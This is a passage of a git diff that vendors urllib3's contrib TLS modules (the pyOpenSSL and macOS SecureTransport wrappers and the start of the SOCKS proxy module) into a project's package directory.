timeout() + continue + except OpenSSL.SSL.SysCallError as e: + raise SocketError(str(e)) + + def sendall(self, data): + total_sent = 0 + while total_sent < len(data): + sent = self._send_until_done( + data[total_sent : total_sent + SSL_WRITE_BLOCKSIZE] + ) + total_sent += sent + + def shutdown(self): + # FIXME rethrow compatible exceptions should we ever use this + self.connection.shutdown() + + def close(self): + if self._makefile_refs < 1: + try: + self._closed = True + return self.connection.close() + except OpenSSL.SSL.Error: + return + else: + self._makefile_refs -= 1 + + def getpeercert(self, binary_form=False): + x509 = self.connection.get_peer_certificate() + + if not x509: + return x509 + + if binary_form: + return OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_ASN1, x509) + + return { + "subject": ((("commonName", x509.get_subject().CN),),), + "subjectAltName": get_subj_alt_name(x509), + } + + def version(self): + return self.connection.get_protocol_version_name() + + def _reuse(self): + self._makefile_refs += 1 + + def _drop(self): + if self._makefile_refs < 1: + self.close() + else: + self._makefile_refs -= 1 + + +if _fileobject: # Platform-specific: Python 2 + + def makefile(self, mode, bufsize=-1): + self._makefile_refs += 1 + return _fileobject(self, mode, bufsize, close=True) + +else: # Platform-specific: Python 3 + makefile = backport_makefile + +WrappedSocket.makefile = makefile + + +class PyOpenSSLContext(object): + """ + I am a wrapper class for the PyOpenSSL ``Context`` object. I am responsible + for translating the interface of the standard library ``SSLContext`` object + to calls into PyOpenSSL. + """ + + def __init__(self, protocol): + self.protocol = _openssl_versions[protocol] + self._ctx = OpenSSL.SSL.Context(self.protocol) + self._options = 0 + self.check_hostname = False + + @property + def options(self): + return self._options + + @options.setter + def options(self, value): + self._options = value + self._ctx.set_options(value) + + @property + def verify_mode(self): + return _openssl_to_stdlib_verify[self._ctx.get_verify_mode()] + + @verify_mode.setter + def verify_mode(self, value): + self._ctx.set_verify(_stdlib_to_openssl_verify[value], _verify_callback) + + def set_default_verify_paths(self): + self._ctx.set_default_verify_paths() + + def set_ciphers(self, ciphers): + if isinstance(ciphers, six.text_type): + ciphers = ciphers.encode("utf-8") + self._ctx.set_cipher_list(ciphers) + + def load_verify_locations(self, cafile=None, capath=None, cadata=None): + if cafile is not None: + cafile = cafile.encode("utf-8") + if capath is not None: + capath = capath.encode("utf-8") + try: + self._ctx.load_verify_locations(cafile, capath) + if cadata is not None: + self._ctx.load_verify_locations(BytesIO(cadata)) + except OpenSSL.SSL.Error as e: + raise ssl.SSLError("unable to load trusted certificates: %r" % e) + + def load_cert_chain(self, certfile, keyfile=None, password=None): + self._ctx.use_certificate_chain_file(certfile) + if password is not None: + if not isinstance(password, six.binary_type): + password = password.encode("utf-8") + self._ctx.set_passwd_cb(lambda *_: password) + self._ctx.use_privatekey_file(keyfile or certfile) + + def set_alpn_protocols(self, protocols): + protocols = [six.ensure_binary(p) for p in protocols] + return self._ctx.set_alpn_protos(protocols) + + def wrap_socket( + self, + sock, + server_side=False, + do_handshake_on_connect=True, + suppress_ragged_eofs=True, + server_hostname=None, + ): + cnx = OpenSSL.SSL.Connection(self._ctx, sock) + + if isinstance(server_hostname, six.text_type): # Platform-specific: Python 3 + server_hostname = server_hostname.encode("utf-8") + + if server_hostname is not None: + cnx.set_tlsext_host_name(server_hostname) + + cnx.set_connect_state() + + while True: + try: + cnx.do_handshake() + except OpenSSL.SSL.WantReadError: + if not util.wait_for_read(sock, sock.gettimeout()): + raise timeout("select timed out") + continue + except OpenSSL.SSL.Error as e: + raise ssl.SSLError("bad handshake: %r" % e) + break + + return WrappedSocket(cnx, sock) + + +def _verify_callback(cnx, x509, err_no, err_depth, return_code): + return err_no == 0 diff --git a/function/http/package/urllib3/contrib/securetransport.py b/function/http/package/urllib3/contrib/securetransport.py new file mode 100644 index 0000000..6c46a3b --- /dev/null +++ b/function/http/package/urllib3/contrib/securetransport.py @@ -0,0 +1,921 @@ +""" +SecureTranport support for urllib3 via ctypes. + +This makes platform-native TLS available to urllib3 users on macOS without the +use of a compiler. This is an important feature because the Python Package +Index is moving to become a TLSv1.2-or-higher server, and the default OpenSSL +that ships with macOS is not capable of doing TLSv1.2. The only way to resolve +this is to give macOS users an alternative solution to the problem, and that +solution is to use SecureTransport. + +We use ctypes here because this solution must not require a compiler. That's +because pip is not allowed to require a compiler either. + +This is not intended to be a seriously long-term solution to this problem. +The hope is that PEP 543 will eventually solve this issue for us, at which +point we can retire this contrib module. But in the short term, we need to +solve the impending tire fire that is Python on Mac without this kind of +contrib module. So...here we are. + +To use this module, simply import and inject it:: + + import urllib3.contrib.securetransport + urllib3.contrib.securetransport.inject_into_urllib3() + +Happy TLSing! + +This code is a bastardised version of the code found in Will Bond's oscrypto +library. An enormous debt is owed to him for blazing this trail for us. For +that reason, this code should be considered to be covered both by urllib3's +license and by oscrypto's: + +.. code-block:: + + Copyright (c) 2015-2016 Will Bond + + Permission is hereby granted, free of charge, to any person obtaining a + copy of this software and associated documentation files (the "Software"), + to deal in the Software without restriction, including without limitation + the rights to use, copy, modify, merge, publish, distribute, sublicense, + and/or sell copies of the Software, and to permit persons to whom the + Software is furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER + DEALINGS IN THE SOFTWARE. +""" +from __future__ import absolute_import + +import contextlib +import ctypes +import errno +import os.path +import shutil +import socket +import ssl +import struct +import threading +import weakref + +import six + +from .. import util +from ..util.ssl_ import PROTOCOL_TLS_CLIENT +from ._securetransport.bindings import CoreFoundation, Security, SecurityConst +from ._securetransport.low_level import ( + _assert_no_error, + _build_tls_unknown_ca_alert, + _cert_array_from_pem, + _create_cfstring_array, + _load_client_cert_chain, + _temporary_keychain, +) + +try: # Platform-specific: Python 2 + from socket import _fileobject +except ImportError: # Platform-specific: Python 3 + _fileobject = None + from ..packages.backports.makefile import backport_makefile + +__all__ = ["inject_into_urllib3", "extract_from_urllib3"] + +# SNI always works +HAS_SNI = True + +orig_util_HAS_SNI = util.HAS_SNI +orig_util_SSLContext = util.ssl_.SSLContext + +# This dictionary is used by the read callback to obtain a handle to the +# calling wrapped socket. This is a pretty silly approach, but for now it'll +# do. I feel like I should be able to smuggle a handle to the wrapped socket +# directly in the SSLConnectionRef, but for now this approach will work I +# guess. +# +# We need to lock around this structure for inserts, but we don't do it for +# reads/writes in the callbacks. The reasoning here goes as follows: +# +# 1. It is not possible to call into the callbacks before the dictionary is +# populated, so once in the callback the id must be in the dictionary. +# 2. The callbacks don't mutate the dictionary, they only read from it, and +# so cannot conflict with any of the insertions. +# +# This is good: if we had to lock in the callbacks we'd drastically slow down +# the performance of this code. +_connection_refs = weakref.WeakValueDictionary() +_connection_ref_lock = threading.Lock() + +# Limit writes to 16kB. This is OpenSSL's limit, but we'll cargo-cult it over +# for no better reason than we need *a* limit, and this one is right there. +SSL_WRITE_BLOCKSIZE = 16384 + +# This is our equivalent of util.ssl_.DEFAULT_CIPHERS, but expanded out to +# individual cipher suites. We need to do this because this is how +# SecureTransport wants them. +CIPHER_SUITES = [ + SecurityConst.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, + SecurityConst.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, + SecurityConst.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, + SecurityConst.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, + SecurityConst.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256, + SecurityConst.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256, + SecurityConst.TLS_DHE_RSA_WITH_AES_256_GCM_SHA384, + SecurityConst.TLS_DHE_RSA_WITH_AES_128_GCM_SHA256, + SecurityConst.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, + SecurityConst.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, + SecurityConst.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, + SecurityConst.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, + SecurityConst.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, + SecurityConst.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, + SecurityConst.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, + SecurityConst.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, + SecurityConst.TLS_DHE_RSA_WITH_AES_256_CBC_SHA256, + SecurityConst.TLS_DHE_RSA_WITH_AES_256_CBC_SHA, + SecurityConst.TLS_DHE_RSA_WITH_AES_128_CBC_SHA256, + SecurityConst.TLS_DHE_RSA_WITH_AES_128_CBC_SHA, + SecurityConst.TLS_AES_256_GCM_SHA384, + SecurityConst.TLS_AES_128_GCM_SHA256, + SecurityConst.TLS_RSA_WITH_AES_256_GCM_SHA384, + SecurityConst.TLS_RSA_WITH_AES_128_GCM_SHA256, + SecurityConst.TLS_AES_128_CCM_8_SHA256, + SecurityConst.TLS_AES_128_CCM_SHA256, + SecurityConst.TLS_RSA_WITH_AES_256_CBC_SHA256, + SecurityConst.TLS_RSA_WITH_AES_128_CBC_SHA256, + SecurityConst.TLS_RSA_WITH_AES_256_CBC_SHA, + SecurityConst.TLS_RSA_WITH_AES_128_CBC_SHA, +] + +# Basically this is simple: for PROTOCOL_SSLv23 we turn it into a low of +# TLSv1 and a high of TLSv1.2. For everything else, we pin to that version. +# TLSv1 to 1.2 are supported on macOS 10.8+ +_protocol_to_min_max = { + util.PROTOCOL_TLS: (SecurityConst.kTLSProtocol1, SecurityConst.kTLSProtocol12), + PROTOCOL_TLS_CLIENT: (SecurityConst.kTLSProtocol1, SecurityConst.kTLSProtocol12), +} + +if hasattr(ssl, "PROTOCOL_SSLv2"): + _protocol_to_min_max[ssl.PROTOCOL_SSLv2] = ( + SecurityConst.kSSLProtocol2, + SecurityConst.kSSLProtocol2, + ) +if hasattr(ssl, "PROTOCOL_SSLv3"): + _protocol_to_min_max[ssl.PROTOCOL_SSLv3] = ( + SecurityConst.kSSLProtocol3, + SecurityConst.kSSLProtocol3, + ) +if hasattr(ssl, "PROTOCOL_TLSv1"): + _protocol_to_min_max[ssl.PROTOCOL_TLSv1] = ( + SecurityConst.kTLSProtocol1, + SecurityConst.kTLSProtocol1, + ) +if hasattr(ssl, "PROTOCOL_TLSv1_1"): + _protocol_to_min_max[ssl.PROTOCOL_TLSv1_1] = ( + SecurityConst.kTLSProtocol11, + SecurityConst.kTLSProtocol11, + ) +if hasattr(ssl, "PROTOCOL_TLSv1_2"): + _protocol_to_min_max[ssl.PROTOCOL_TLSv1_2] = ( + SecurityConst.kTLSProtocol12, + SecurityConst.kTLSProtocol12, + ) + + +def inject_into_urllib3(): + """ + Monkey-patch urllib3 with SecureTransport-backed SSL-support. + """ + util.SSLContext = SecureTransportContext + util.ssl_.SSLContext = SecureTransportContext + util.HAS_SNI = HAS_SNI + util.ssl_.HAS_SNI = HAS_SNI + util.IS_SECURETRANSPORT = True + util.ssl_.IS_SECURETRANSPORT = True + + +def extract_from_urllib3(): + """ + Undo monkey-patching by :func:`inject_into_urllib3`. + """ + util.SSLContext = orig_util_SSLContext + util.ssl_.SSLContext = orig_util_SSLContext + util.HAS_SNI = orig_util_HAS_SNI + util.ssl_.HAS_SNI = orig_util_HAS_SNI + util.IS_SECURETRANSPORT = False + util.ssl_.IS_SECURETRANSPORT = False + + +def _read_callback(connection_id, data_buffer, data_length_pointer): + """ + SecureTransport read callback. This is called by ST to request that data + be returned from the socket. + """ + wrapped_socket = None + try: + wrapped_socket = _connection_refs.get(connection_id) + if wrapped_socket is None: + return SecurityConst.errSSLInternal + base_socket = wrapped_socket.socket + + requested_length = data_length_pointer[0] + + timeout = wrapped_socket.gettimeout() + error = None + read_count = 0 + + try: + while read_count < requested_length: + if timeout is None or timeout >= 0: + if not util.wait_for_read(base_socket, timeout): + raise socket.error(errno.EAGAIN, "timed out") + + remaining = requested_length - read_count + buffer = (ctypes.c_char * remaining).from_address( + data_buffer + read_count + ) + chunk_size = base_socket.recv_into(buffer, remaining) + read_count += chunk_size + if not chunk_size: + if not read_count: + return SecurityConst.errSSLClosedGraceful + break + except (socket.error) as e: + error = e.errno + + if error is not None and error != errno.EAGAIN: + data_length_pointer[0] = read_count + if error == errno.ECONNRESET or error == errno.EPIPE: + return SecurityConst.errSSLClosedAbort + raise + + data_length_pointer[0] = read_count + + if read_count != requested_length: + return SecurityConst.errSSLWouldBlock + + return 0 + except Exception as e: + if wrapped_socket is not None: + wrapped_socket._exception = e + return SecurityConst.errSSLInternal + + +def _write_callback(connection_id, data_buffer, data_length_pointer): + """ + SecureTransport write callback. This is called by ST to request that data + actually be sent on the network. + """ + wrapped_socket = None + try: + wrapped_socket = _connection_refs.get(connection_id) + if wrapped_socket is None: + return SecurityConst.errSSLInternal + base_socket = wrapped_socket.socket + + bytes_to_write = data_length_pointer[0] + data = ctypes.string_at(data_buffer, bytes_to_write) + + timeout = wrapped_socket.gettimeout() + error = None + sent = 0 + + try: + while sent < bytes_to_write: + if timeout is None or timeout >= 0: + if not util.wait_for_write(base_socket, timeout): + raise socket.error(errno.EAGAIN, "timed out") + chunk_sent = base_socket.send(data) + sent += chunk_sent + + # This has some needless copying here, but I'm not sure there's + # much value in optimising this data path. + data = data[chunk_sent:] + except (socket.error) as e: + error = e.errno + + if error is not None and error != errno.EAGAIN: + data_length_pointer[0] = sent + if error == errno.ECONNRESET or error == errno.EPIPE: + return SecurityConst.errSSLClosedAbort + raise + + data_length_pointer[0] = sent + + if sent != bytes_to_write: + return SecurityConst.errSSLWouldBlock + + return 0 + except Exception as e: + if wrapped_socket is not None: + wrapped_socket._exception = e + return SecurityConst.errSSLInternal + + +# We need to keep these two objects references alive: if they get GC'd while +# in use then SecureTransport could attempt to call a function that is in freed +# memory. That would be...uh...bad. Yeah, that's the word. Bad. +_read_callback_pointer = Security.SSLReadFunc(_read_callback) +_write_callback_pointer = Security.SSLWriteFunc(_write_callback) + + +class WrappedSocket(object): + """ + API-compatibility wrapper for Python's OpenSSL wrapped socket object. + + Note: _makefile_refs, _drop(), and _reuse() are needed for the garbage + collector of PyPy. + """ + + def __init__(self, socket): + self.socket = socket + self.context = None + self._makefile_refs = 0 + self._closed = False + self._exception = None + self._keychain = None + self._keychain_dir = None + self._client_cert_chain = None + + # We save off the previously-configured timeout and then set it to + # zero. This is done because we use select and friends to handle the + # timeouts, but if we leave the timeout set on the lower socket then + # Python will "kindly" call select on that socket again for us. Avoid + # that by forcing the timeout to zero. + self._timeout = self.socket.gettimeout() + self.socket.settimeout(0) + + @contextlib.contextmanager + def _raise_on_error(self): + """ + A context manager that can be used to wrap calls that do I/O from + SecureTransport. If any of the I/O callbacks hit an exception, this + context manager will correctly propagate the exception after the fact. + This avoids silently swallowing those exceptions. + + It also correctly forces the socket closed. + """ + self._exception = None + + # We explicitly don't catch around this yield because in the unlikely + # event that an exception was hit in the block we don't want to swallow + # it. + yield + if self._exception is not None: + exception, self._exception = self._exception, None + self.close() + raise exception + + def _set_ciphers(self): + """ + Sets up the allowed ciphers. By default this matches the set in + util.ssl_.DEFAULT_CIPHERS, at least as supported by macOS. This is done + custom and doesn't allow changing at this time, mostly because parsing + OpenSSL cipher strings is going to be a freaking nightmare. + """ + ciphers = (Security.SSLCipherSuite * len(CIPHER_SUITES))(*CIPHER_SUITES) + result = Security.SSLSetEnabledCiphers( + self.context, ciphers, len(CIPHER_SUITES) + ) + _assert_no_error(result) + + def _set_alpn_protocols(self, protocols): + """ + Sets up the ALPN protocols on the context. + """ + if not protocols: + return + protocols_arr = _create_cfstring_array(protocols) + try: + result = Security.SSLSetALPNProtocols(self.context, protocols_arr) + _assert_no_error(result) + finally: + CoreFoundation.CFRelease(protocols_arr) + + def _custom_validate(self, verify, trust_bundle): + """ + Called when we have set custom validation. We do this in two cases: + first, when cert validation is entirely disabled; and second, when + using a custom trust DB. + Raises an SSLError if the connection is not trusted. + """ + # If we disabled cert validation, just say: cool. + if not verify: + return + + successes = ( + SecurityConst.kSecTrustResultUnspecified, + SecurityConst.kSecTrustResultProceed, + ) + try: + trust_result = self._evaluate_trust(trust_bundle) + if trust_result in successes: + return + reason = "error code: %d" % (trust_result,) + except Exception as e: + # Do not trust on error + reason = "exception: %r" % (e,) + + # SecureTransport does not send an alert nor shuts down the connection. + rec = _build_tls_unknown_ca_alert(self.version()) + self.socket.sendall(rec) + # close the connection immediately + # l_onoff = 1, activate linger + # l_linger = 0, linger for 0 seoncds + opts = struct.pack("ii", 1, 0) + self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, opts) + self.close() + raise ssl.SSLError("certificate verify failed, %s" % reason) + + def _evaluate_trust(self, trust_bundle): + # We want data in memory, so load it up. + if os.path.isfile(trust_bundle): + with open(trust_bundle, "rb") as f: + trust_bundle = f.read() + + cert_array = None + trust = Security.SecTrustRef() + + try: + # Get a CFArray that contains the certs we want. + cert_array = _cert_array_from_pem(trust_bundle) + + # Ok, now the hard part. We want to get the SecTrustRef that ST has + # created for this connection, shove our CAs into it, tell ST to + # ignore everything else it knows, and then ask if it can build a + # chain. This is a buuuunch of code. + result = Security.SSLCopyPeerTrust(self.context, ctypes.byref(trust)) + _assert_no_error(result) + if not trust: + raise ssl.SSLError("Failed to copy trust reference") + + result = Security.SecTrustSetAnchorCertificates(trust, cert_array) + _assert_no_error(result) + + result = Security.SecTrustSetAnchorCertificatesOnly(trust, True) + _assert_no_error(result) + + trust_result = Security.SecTrustResultType() + result = Security.SecTrustEvaluate(trust, ctypes.byref(trust_result)) + _assert_no_error(result) + finally: + if trust: + CoreFoundation.CFRelease(trust) + + if cert_array is not None: + CoreFoundation.CFRelease(cert_array) + + return trust_result.value + + def handshake( + self, + server_hostname, + verify, + trust_bundle, + min_version, + max_version, + client_cert, + client_key, + client_key_passphrase, + alpn_protocols, + ): + """ + Actually performs the TLS handshake. This is run automatically by + wrapped socket, and shouldn't be needed in user code. + """ + # First, we do the initial bits of connection setup. We need to create + # a context, set its I/O funcs, and set the connection reference. + self.context = Security.SSLCreateContext( + None, SecurityConst.kSSLClientSide, SecurityConst.kSSLStreamType + ) + result = Security.SSLSetIOFuncs( + self.context, _read_callback_pointer, _write_callback_pointer + ) + _assert_no_error(result) + + # Here we need to compute the handle to use. We do this by taking the + # id of self modulo 2**31 - 1. If this is already in the dictionary, we + # just keep incrementing by one until we find a free space. + with _connection_ref_lock: + handle = id(self) % 2147483647 + while handle in _connection_refs: + handle = (handle + 1) % 2147483647 + _connection_refs[handle] = self + + result = Security.SSLSetConnection(self.context, handle) + _assert_no_error(result) + + # If we have a server hostname, we should set that too. + if server_hostname: + if not isinstance(server_hostname, bytes): + server_hostname = server_hostname.encode("utf-8") + + result = Security.SSLSetPeerDomainName( + self.context, server_hostname, len(server_hostname) + ) + _assert_no_error(result) + + # Setup the ciphers. + self._set_ciphers() + + # Setup the ALPN protocols. + self._set_alpn_protocols(alpn_protocols) + + # Set the minimum and maximum TLS versions. + result = Security.SSLSetProtocolVersionMin(self.context, min_version) + _assert_no_error(result) + + result = Security.SSLSetProtocolVersionMax(self.context, max_version) + _assert_no_error(result) + + # If there's a trust DB, we need to use it. We do that by telling + # SecureTransport to break on server auth. We also do that if we don't + # want to validate the certs at all: we just won't actually do any + # authing in that case. + if not verify or trust_bundle is not None: + result = Security.SSLSetSessionOption( + self.context, SecurityConst.kSSLSessionOptionBreakOnServerAuth, True + ) + _assert_no_error(result) + + # If there's a client cert, we need to use it. + if client_cert: + self._keychain, self._keychain_dir = _temporary_keychain() + self._client_cert_chain = _load_client_cert_chain( + self._keychain, client_cert, client_key + ) + result = Security.SSLSetCertificate(self.context, self._client_cert_chain) + _assert_no_error(result) + + while True: + with self._raise_on_error(): + result = Security.SSLHandshake(self.context) + + if result == SecurityConst.errSSLWouldBlock: + raise socket.timeout("handshake timed out") + elif result == SecurityConst.errSSLServerAuthCompleted: + self._custom_validate(verify, trust_bundle) + continue + else: + _assert_no_error(result) + break + + def fileno(self): + return self.socket.fileno() + + # Copy-pasted from Python 3.5 source code + def _decref_socketios(self): + if self._makefile_refs > 0: + self._makefile_refs -= 1 + if self._closed: + self.close() + + def recv(self, bufsiz): + buffer = ctypes.create_string_buffer(bufsiz) + bytes_read = self.recv_into(buffer, bufsiz) + data = buffer[:bytes_read] + return data + + def recv_into(self, buffer, nbytes=None): + # Read short on EOF. + if self._closed: + return 0 + + if nbytes is None: + nbytes = len(buffer) + + buffer = (ctypes.c_char * nbytes).from_buffer(buffer) + processed_bytes = ctypes.c_size_t(0) + + with self._raise_on_error(): + result = Security.SSLRead( + self.context, buffer, nbytes, ctypes.byref(processed_bytes) + ) + + # There are some result codes that we want to treat as "not always + # errors". Specifically, those are errSSLWouldBlock, + # errSSLClosedGraceful, and errSSLClosedNoNotify. + if result == SecurityConst.errSSLWouldBlock: + # If we didn't process any bytes, then this was just a time out. + # However, we can get errSSLWouldBlock in situations when we *did* + # read some data, and in those cases we should just read "short" + # and return. + if processed_bytes.value == 0: + # Timed out, no data read. + raise socket.timeout("recv timed out") + elif result in ( + SecurityConst.errSSLClosedGraceful, + SecurityConst.errSSLClosedNoNotify, + ): + # The remote peer has closed this connection. We should do so as + # well. Note that we don't actually return here because in + # principle this could actually be fired along with return data. + # It's unlikely though. + self.close() + else: + _assert_no_error(result) + + # Ok, we read and probably succeeded. We should return whatever data + # was actually read. + return processed_bytes.value + + def settimeout(self, timeout): + self._timeout = timeout + + def gettimeout(self): + return self._timeout + + def send(self, data): + processed_bytes = ctypes.c_size_t(0) + + with self._raise_on_error(): + result = Security.SSLWrite( + self.context, data, len(data), ctypes.byref(processed_bytes) + ) + + if result == SecurityConst.errSSLWouldBlock and processed_bytes.value == 0: + # Timed out + raise socket.timeout("send timed out") + else: + _assert_no_error(result) + + # We sent, and probably succeeded. Tell them how much we sent. + return processed_bytes.value + + def sendall(self, data): + total_sent = 0 + while total_sent < len(data): + sent = self.send(data[total_sent : total_sent + SSL_WRITE_BLOCKSIZE]) + total_sent += sent + + def shutdown(self): + with self._raise_on_error(): + Security.SSLClose(self.context) + + def close(self): + # TODO: should I do clean shutdown here? Do I have to? + if self._makefile_refs < 1: + self._closed = True + if self.context: + CoreFoundation.CFRelease(self.context) + self.context = None + if self._client_cert_chain: + CoreFoundation.CFRelease(self._client_cert_chain) + self._client_cert_chain = None + if self._keychain: + Security.SecKeychainDelete(self._keychain) + CoreFoundation.CFRelease(self._keychain) + shutil.rmtree(self._keychain_dir) + self._keychain = self._keychain_dir = None + return self.socket.close() + else: + self._makefile_refs -= 1 + + def getpeercert(self, binary_form=False): + # Urgh, annoying. + # + # Here's how we do this: + # + # 1. Call SSLCopyPeerTrust to get hold of the trust object for this + # connection. + # 2. Call SecTrustGetCertificateAtIndex for index 0 to get the leaf. + # 3. To get the CN, call SecCertificateCopyCommonName and process that + # string so that it's of the appropriate type. + # 4. To get the SAN, we need to do something a bit more complex: + # a. Call SecCertificateCopyValues to get the data, requesting + # kSecOIDSubjectAltName. + # b. Mess about with this dictionary to try to get the SANs out. + # + # This is gross. Really gross. It's going to be a few hundred LoC extra + # just to repeat something that SecureTransport can *already do*. So my + # operating assumption at this time is that what we want to do is + # instead to just flag to urllib3 that it shouldn't do its own hostname + # validation when using SecureTransport. + if not binary_form: + raise ValueError("SecureTransport only supports dumping binary certs") + trust = Security.SecTrustRef() + certdata = None + der_bytes = None + + try: + # Grab the trust store. + result = Security.SSLCopyPeerTrust(self.context, ctypes.byref(trust)) + _assert_no_error(result) + if not trust: + # Probably we haven't done the handshake yet. No biggie. + return None + + cert_count = Security.SecTrustGetCertificateCount(trust) + if not cert_count: + # Also a case that might happen if we haven't handshaked. + # Handshook? Handshaken? + return None + + leaf = Security.SecTrustGetCertificateAtIndex(trust, 0) + assert leaf + + # Ok, now we want the DER bytes. + certdata = Security.SecCertificateCopyData(leaf) + assert certdata + + data_length = CoreFoundation.CFDataGetLength(certdata) + data_buffer = CoreFoundation.CFDataGetBytePtr(certdata) + der_bytes = ctypes.string_at(data_buffer, data_length) + finally: + if certdata: + CoreFoundation.CFRelease(certdata) + if trust: + CoreFoundation.CFRelease(trust) + + return der_bytes + + def version(self): + protocol = Security.SSLProtocol() + result = Security.SSLGetNegotiatedProtocolVersion( + self.context, ctypes.byref(protocol) + ) + _assert_no_error(result) + if protocol.value == SecurityConst.kTLSProtocol13: + raise ssl.SSLError("SecureTransport does not support TLS 1.3") + elif protocol.value == SecurityConst.kTLSProtocol12: + return "TLSv1.2" + elif protocol.value == SecurityConst.kTLSProtocol11: + return "TLSv1.1" + elif protocol.value == SecurityConst.kTLSProtocol1: + return "TLSv1" + elif protocol.value == SecurityConst.kSSLProtocol3: + return "SSLv3" + elif protocol.value == SecurityConst.kSSLProtocol2: + return "SSLv2" + else: + raise ssl.SSLError("Unknown TLS version: %r" % protocol) + + def _reuse(self): + self._makefile_refs += 1 + + def _drop(self): + if self._makefile_refs < 1: + self.close() + else: + self._makefile_refs -= 1 + + +if _fileobject: # Platform-specific: Python 2 + + def makefile(self, mode, bufsize=-1): + self._makefile_refs += 1 + return _fileobject(self, mode, bufsize, close=True) + +else: # Platform-specific: Python 3 + + def makefile(self, mode="r", buffering=None, *args, **kwargs): + # We disable buffering with SecureTransport because it conflicts with + # the buffering that ST does internally (see issue #1153 for more). + buffering = 0 + return backport_makefile(self, mode, buffering, *args, **kwargs) + + +WrappedSocket.makefile = makefile + + +class SecureTransportContext(object): + """ + I am a wrapper class for the SecureTransport library, to translate the + interface of the standard library ``SSLContext`` object to calls into + SecureTransport. + """ + + def __init__(self, protocol): + self._min_version, self._max_version = _protocol_to_min_max[protocol] + self._options = 0 + self._verify = False + self._trust_bundle = None + self._client_cert = None + self._client_key = None + self._client_key_passphrase = None + self._alpn_protocols = None + + @property + def check_hostname(self): + """ + SecureTransport cannot have its hostname checking disabled. For more, + see the comment on getpeercert() in this file. + """ + return True + + @check_hostname.setter + def check_hostname(self, value): + """ + SecureTransport cannot have its hostname checking disabled. For more, + see the comment on getpeercert() in this file. + """ + pass + + @property + def options(self): + # TODO: Well, crap. + # + # So this is the bit of the code that is the most likely to cause us + # trouble. Essentially we need to enumerate all of the SSL options that + # users might want to use and try to see if we can sensibly translate + # them, or whether we should just ignore them. + return self._options + + @options.setter + def options(self, value): + # TODO: Update in line with above. + self._options = value + + @property + def verify_mode(self): + return ssl.CERT_REQUIRED if self._verify else ssl.CERT_NONE + + @verify_mode.setter + def verify_mode(self, value): + self._verify = True if value == ssl.CERT_REQUIRED else False + + def set_default_verify_paths(self): + # So, this has to do something a bit weird. Specifically, what it does + # is nothing. + # + # This means that, if we had previously had load_verify_locations + # called, this does not undo that. We need to do that because it turns + # out that the rest of the urllib3 code will attempt to load the + # default verify paths if it hasn't been told about any paths, even if + # the context itself was sometime earlier. We resolve that by just + # ignoring it. + pass + + def load_default_certs(self): + return self.set_default_verify_paths() + + def set_ciphers(self, ciphers): + # For now, we just require the default cipher string. + if ciphers != util.ssl_.DEFAULT_CIPHERS: + raise ValueError("SecureTransport doesn't support custom cipher strings") + + def load_verify_locations(self, cafile=None, capath=None, cadata=None): + # OK, we only really support cadata and cafile. + if capath is not None: + raise ValueError("SecureTransport does not support cert directories") + + # Raise if cafile does not exist. + if cafile is not None: + with open(cafile): + pass + + self._trust_bundle = cafile or cadata + + def load_cert_chain(self, certfile, keyfile=None, password=None): + self._client_cert = certfile + self._client_key = keyfile + self._client_cert_passphrase = password + + def set_alpn_protocols(self, protocols): + """ + Sets the ALPN protocols that will later be set on the context. + + Raises a NotImplementedError if ALPN is not supported. + """ + if not hasattr(Security, "SSLSetALPNProtocols"): + raise NotImplementedError( + "SecureTransport supports ALPN only in macOS 10.12+" + ) + self._alpn_protocols = [six.ensure_binary(p) for p in protocols] + + def wrap_socket( + self, + sock, + server_side=False, + do_handshake_on_connect=True, + suppress_ragged_eofs=True, + server_hostname=None, + ): + # So, what do we do here? Firstly, we assert some properties. This is a + # stripped down shim, so there is some functionality we don't support. + # See PEP 543 for the real deal. + assert not server_side + assert do_handshake_on_connect + assert suppress_ragged_eofs + + # Ok, we're good to go. Now we want to create the wrapped socket object + # and store it in the appropriate place. + wrapped_socket = WrappedSocket(sock) + + # Now we can handshake + wrapped_socket.handshake( + server_hostname, + self._verify, + self._trust_bundle, + self._min_version, + self._max_version, + self._client_cert, + self._client_key, + self._client_key_passphrase, + self._alpn_protocols, + ) + return wrapped_socket diff --git a/function/http/package/urllib3/contrib/socks.py b/function/http/package/urllib3/contrib/socks.py new file mode 100644 index 0000000..c326e80 --- /dev/null +++ b/function/http/package/urllib3/contrib/socks.py @@ -0,0 +1,216 @@ +# -*- coding: utf-8 -*- +""" +This module contains provisional support for SOCKS proxies from within +urllib3. This module supports SOCKS4, SOCKS4A (an extension of SOCKS4), and +SOCKS5. To enable its functionality, either install PySocks or install this +module with the ``socks`` extra. + +The SOCKS implementation supports the full range of urllib3 features. It also +supports the following SOCKS features: + +- SOCKS4A (``proxy_url='socks4a://...``) +- SOCKS4 (``proxy_url='socks4://...``) +- SOCKS5 with remote DNS (``proxy_url='socks5h://...``) +- SOCKS5 with local DNS (``proxy_url='socks5://...``) +- Usernames and passwords for the SOCKS proxy + 